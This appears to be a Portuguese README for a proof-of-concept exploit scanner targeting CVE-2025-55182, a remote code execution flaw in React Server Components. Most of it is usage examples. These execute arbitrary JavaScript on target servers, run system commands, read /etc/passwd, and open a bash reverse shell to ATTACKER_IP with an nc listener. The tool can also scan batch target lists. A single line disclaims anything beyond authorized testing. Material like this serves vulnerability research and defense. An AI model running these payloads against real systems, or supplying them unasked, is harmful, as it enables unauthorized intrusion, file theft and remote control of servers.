
POC React2Shell-CVE-2025-55182
____ _____ _ ____ _____ ____ ____ _ _ _____ _ _
| _ \| ____| / \ / ___|_ _|___ \/ ___|| | | | ____| | | |
| |_) | _| / _ \| | | | __) \___ \| |_| | _| | | | |
| _ <| |___ / ___ \ |___ | | / __/ ___) | _ | |___| |___| |___
|_| \_\_____/_/ \_\____| |_| |_____|____/|_| |_|_____|_____|_____|
[ CVE-2025-55182 ]
Scanner de Execução Remota de Código para Componentes de Servidor React (RSC)
| Função | Nome | Link |
|---|---|---|
| Pesquisa Original | Lachlan Davidson | github.com/lachlan2k |
Baseado no PoC original: React2Shell-CVE-2025-55182-original-poc
React2Shell é um scanner de segurança abrangente para CVE-2025-55182, uma vulnerabilidade crítica de Execução Remota de Código (RCE) que afeta implementações de Componentes de Servidor React (RSC). Esta vulnerabilidade permite que atacantes não autenticados executem código JavaScript arbitrário no servidor através de desserialização insegura no protocolo React Flight.
# Clone o repositório
git clone https://github.com/Shadowroot97/POC-React2Shell-CVE-2025-55182.git
cd POC-React2Shell-CVE-2025-55182
# Instale as dependências
pip install requests
# Execute o scanner
python3 exploit_cve_2025_55182_v2.py -h
usage: exploit_cve_2025_55182_v2.py [-h] [-t TARGET] [-f FILE] [-m {version,verify,custom}]
[--js JS] [--extract] [--sleep SECONDS]
[--callback URL] [--dns DOMAIN] [-v]
[--no-color] [--timeout TIMEOUT]
Detecta passivamente versões vulneráveis do React e de frameworks:
python3 exploit_cve_2025_55182_v2.py -t https://target.com
-m verify)Confirma ativamente RCE usando múltiplas técnicas e todas as 4 variantes de payload:
# Verificação básica (variação de digest)
python3 exploit_cve_2025_55182_v2.py -t https://target.com -m verify
# Com verificação baseada em tempo
python3 exploit_cve_2025_55182_v2.py -t https://target.com -m verify --sleep 5
# Com callback OOB (Burp Collaborator)
python3 exploit_cve_2025_55182_v2.py -t https://target.com -m verify --callback abc123.oastify.com
# Verificação completa com saída detalhada
python3 exploit_cve_2025_55182_v2.py -t https://target.com -m verify \
--sleep 5 --callback abc123.oastify.com --dns abc123.oastify.com -v
-m custom)Executa payloads JavaScript arbitrários:
# Obter versão do Node.js
python3 exploit_cve_2025_55182_v2.py -t https://target.com -m custom \
--js "process.version" --extract
# Executar comando no sistema
python3 exploit_cve_2025_55182_v2.py -t https://target.com -m custom \
--js "require('child_process').execSync('id').toString()" --extract
# Ler arquivo
python3 exploit_cve_2025_55182_v2.py -t https://target.com -m custom \
--js "require('fs').readFileSync('/etc/passwd','utf8')" --extract
-f)Escaneia múltiplas URLs de um arquivo e exibe apenas alvos vulneráveis:
python3 exploit_cve_2025_55182_v2.py -f targets.txt
# Detecção de versão (modo padrão)
python3 exploit_cve_2025_55182_v2.py -t https://target.com
# Verificação de RCE
python3 exploit_cve_2025_55182_v2.py -t https://target.com -m verify
# Varredura em lote de múltiplos alvos
python3 exploit_cve_2025_55182_v2.py -f targets.txt
# Saída detalhada
python3 exploit_cve_2025_55182_v2.py -t https://target.com -m verify -v
# Verificação baseada em tempo + OOB
python3 exploit_cve_2025_55182_v2.py -t https://target.com -m verify \
--sleep 5 --callback seu-id.oastify.com
# Extrair informações do servidor
python3 exploit_cve_2025_55182_v2.py -t https://target.com -m custom \
--js "process.version" --extract
# Executar comando
python3 exploit_cve_2025_55182_v2.py -t https://target.com -m custom \
--js "require('child_process').execSync('whoami').toString()" --extract
# Iniciar listener
nc -lvnp 443
# Executar reverse shell
python3 exploit_cve_2025_55182_v2.py -t https://target.com -m custom \
--js "process.mainModule.require('child_process').execSync('bash -c \"bash -i >& /dev/tcp/ATTACKER_IP/443 0>&1\"')"
Esta ferramenta é fornecida apenas para fins de teste de segurança autorizados e educacionais.
| Argumento | Descrição |
|---|
-t, --target | URL alvo (ex.: https://example.com) |
-f, --file | Arquivo com lista de URLs (uma por linha) para varredura em lote |
-m, --mode | Modo de varredura: version (padrão), verify ou custom |
--js | Código JavaScript para modo custom |
--extract | Extrair resultado da string caractere por caractere |
--sleep SECONDS | Verificação RCE baseada em tempo (modo verify) |
--callback URL | URL de callback HTTP para teste OOB (modo verify) |
--dns DOMAIN | Domínio de callback DNS para teste OOB (modo verify) |
-v, --verbose | Saída detalhada com detalhes do payload |
--no-color | Desabilitar saída colorida |
--timeout SECONDS | Timeout da requisição HTTP (padrão: 30) |